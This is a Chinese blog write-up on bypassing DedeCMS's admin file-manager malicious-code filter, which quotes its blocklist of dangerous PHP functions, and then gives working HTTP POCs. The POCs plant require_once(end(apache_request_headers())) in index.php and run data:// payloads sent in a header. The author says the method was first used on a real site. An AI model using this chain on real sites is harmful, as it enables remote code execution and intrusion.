记一次最新版DeDecms 绕过层层过滤getshell过程

记一次最新版DeDecms 绕过层层过滤getshell过程

前言

最近织梦也是发了最新版的,最近也是遇到了使用织梦搭建的网站

当时是进了后台,然后最后也是成功getshell了,因为各种原因,使用本地搭建的环境给大家做一次分享,仅供学习

环境搭建

只需要下载最新版的就好了,然后使用phpstudy搭建

getshell过程

后台如下

然后点击模块,文件管理处

发现可以编辑文件

正当我以为手拿把掐的时候悲剧也是发生了

存在恶意代码,看来是不能够写入木马的

我们跟进一下到waf部分

require(dirname(__FILE__)."/config.php");
CheckPurview('plus_文件管理器');
require(DEDEINC."/oxwindow.class.php");
require_once(DEDEADMIN.'/file_class.php');

// 路径限制
$filename = preg_replace("#([.]+[/]+)*#", "", $filename);

$activepath = str_replace("..", "", $activepath);
$activepath = preg_replace("#^\/{1,}#", "/", $activepath);
if($activepath == "/") $activepath = "";
if($activepath == "") $inpath = $cfg_basedir;
else $inpath = $cfg_basedir.$activepath;

// 不允许这些字符
$str = preg_replace("#(/\*)[\s\S]*(\*/)#i", '', $str);

global $cfg_disable_funs;
$cfg_disable_funs = isset($cfg_disable_funs) ? $cfg_disable_funs : 'phpinfo,eval,assert,exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source,file_put_contents,fsockopen,fopen,fwrite,preg_replace';
$cfg_disable_funs = $cfg_disable_funs.',[$]GLOBALS,[$]_GET,[$]_POST,[$]_REQUEST,[$]_FILES,[$]_COOKIE,[$]_SERVER,include,require,create_function,array_map,call_user_func,call_user_func_array,array_filert,getallheaders';
foreach (explode(",", $cfg_disable_funs) as $value) {
    $value = str_replace(" ", "", $value);
    if(!empty($value) && preg_match("#[^a-z]+['\"]*{$value}['\"]*[\s]*[([{']#i", " {$str}") == TRUE) {
        $str = dede_htmlspecialchars($str);
        die("DedeCMS提示:当前页面中存在恶意代码!<pre>{$str}</pre>");
    }
}

if(preg_match("#^[\s\S]+<\?(php|=)?[\s]+#i", " {$str}") == TRUE) {
    if(preg_match("#[$][_0-9a-z]+[\s]*[(][\s\S]*[)][\s]*[;]#iU", " {$str}") == TRUE) {
        $str = dede_htmlspecialchars($str);
        die("DedeCMS提示:当前页面中存在恶意代码!<pre>{$str}</pre>");
    }
    if(preg_match("#[@][$][_0-9a-z]+[\s]*[(][\s\S]*[)]#iU", " {$str}") == TRUE) {
        $str = dede_htmlspecialchars($str);
        die("DedeCMS提示:当前页面中存在恶意代码!<pre>{$str}</pre>");
    }
    if(preg_match("#[`][\s\S]*[`]#i", " {$str}") == TRUE) {
        $str = dede_htmlspecialchars($str);
        die("DedeCMS提示:当前页面中存在恶意代码!<pre>{$str}</pre>");
    }
}

可以看到waf是很多的

waf1

$cfg_disable_funs = isset($cfg_disable_funs) ? $cfg_disable_funs : 'phpinfo,eval,assert,exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source,file_put_contents,fsockopen,fopen,fwrite,preg_replace';

可以发现可以执行命令或者写入文件的函数是禁用了很多,几乎是找不到其他的函数去绕过了

$cfg_disable_funs = $cfg_disable_funs.',[$]GLOBALS,[$]_GET,[$]_POST,[$]_REQUEST,[$]_FILES,[$]_COOKIE,[$]_SERVER,include,require,create_function,array_map,call_user_func,call_user_func_array,array_filert,getallheaders';

然后还发现根本不允许我们使用动态传入参数的这种方法,几乎是被禁用完了

foreach (explode(",", $cfg_disable_funs) as $value) {
    $value = str_replace(" ", "", $value);
    if(!empty($value) && preg_match("#[^a-z]+['\"]*{$value}['\"]*[\s]*[([{']#i", " {$str}") == TRUE) {
        $str = dede_htmlspecialchars($str);
        die("DedeCMS提示:当前页面中存在恶意代码!<pre>{$str}</pre>");
    }
}

这就是正则去匹配我们的黑名单

  1. 第一条正则表达式

if(preg_match("#^[\s\S]+<\?(php|=)?[\s]+#i", " {$str}") == TRUE) {

  • 功能:检查字符串是否以 PHP 开始(即包含 <?php<?=)。
  • 示例:匹配字符串 <?php echo "Hello";<?= "Hello";
  1. 第二条正则表达式

if(preg_match("#[$][_0-9a-z]+[\s][(][\s\S][)][\s]*[;]#iU", " {$str}") == TRUE) {

  • 功能:检查字符串中是否存在以 $ 开头的变量调用,并且后面跟着括号和分号,通常用于函数调用。
  • 示例:匹配字符串 $varName();$myFunction($arg1, $arg2);
  1. 第三条正则表达式

    if(preg_match("#[@][$][_0-9a-z]+[\s][(][\s\S][)]#iU", " {$str}") == TRUE) {

  • 功能:检查字符串中是否存在以 @ 开头的错误抑制符,后面跟着以 $ 开头的变量调用。
  • 示例:匹配字符串 @$varName();@myFunction($arg1);
  1. 第四条正则表达式

if(preg_match("#[][\s\S]*[]#i", " {$str}") == TRUE) {

  • 功能:检查字符串中是否存在反引号(`)包围的内容,通常用于命令执行。
  • 示例:匹配字符串 ls -lasystem('id')

发现限制还是非常严格的

首先是不能使用php的动态函数了

比如这种

<?php
$a="system";
$a("whoami");

然后还不能使用我们的动态传入参数,导致webshell很能写入

之后思考想着可以使用

getallheaders

getallheaders(): array

获取当前请求的所有请求头信息。

此函数是 apache_request_headers()的别名。 请阅读 apache_request_headers() 文档获得更多信息。

然后发现getallheaders被禁用,但是翻阅我们的php官方的手册发现

此函数是 apache_request_headers()的别名

apache_request_headers(): array

获取当前请求的所有请求头信息。 可在 Apache、FastCGI、CLI、FPM 模式下运行。

而我们的服务就是Apache搭建的

然后还需要配合我们的end函数

end(array|object &$array): mixed

end()array 的内部指针移动到最后一个单元并返回其值。

传参的问题是解决了,但是如何执行命令任然没有解决,最后思考了,发现可以使用包含,然后配合为协议

require_once并没有被禁用

require_once 表达式和 require 表达式完全相同,唯一区别是 PHP 会检查该文件是否已经被包含过,如果是则不会再次包含。

保存成功

POC

POST /dede/file_manage_control.php HTTP/1.1
Host: dedecms:5135
Content-Length: 161
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://dedecms:5135
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://dedecms:5135/dede/file_manage_view.php?fmdo=edit&filename=index.php&activepath=
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: menuitems=1_1%2C2_1%2C3_1; PHPSESSID=sjps1s46kr088b1ucbb5bgd405; XDEBUG_SESSION=PHPSTORM; _csrf_name_f9024a86=5d4984c530044d7c2a1a3b431f525a58; _csrf_name_f9024a861BH21ANI1AGD297L1FF21LN02BGE1DNG=9c665069c5a76009; DedeUserID=1; DedeUserID1BH21ANI1AGD297L1FF21LN02BGE1DNG=cdad88453fa752a4; DedeLoginTime=1725190105; DedeLoginTime1BH21ANI1AGD297L1FF21LN02BGE1DNG=ecd742702d7de4d4
Connection: keep-alive

fmdo=edit&backurl=&token=&activepath=&filename=index.php&str=%3C%3Fphp%0D%0Arequire_once%28end%28apache_request_headers%28%29%29%29%3B&B1=++%E4%BF%9D+%E5%AD%98++

然后访问文件,使用data为协议

POC

GET /index.php HTTP/1.1
rce: data://text/plain,<?php phpinfo();?>
Host: dedecms:5135
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=sjps1s46kr088b1ucbb5bgd405; XDEBUG_SESSION=PHPSTORM; _csrf_name_f9024a86=5d4984c530044d7c2a1a3b431f525a58; _csrf_name_f9024a861BH21ANI1AGD297L1FF21LN02BGE1DNG=9c665069c5a76009; DedeUserID=1; DedeUserID1BH21ANI1AGD297L1FF21LN02BGE1DNG=cdad88453fa752a4; DedeLoginTime=1725190105; DedeLoginTime1BH21ANI1AGD297L1FF21LN02BGE1DNG=ecd742702d7de4d4
Connection: keep-alive

成功执行了代码

0 条评论
某人
表情
可输入 255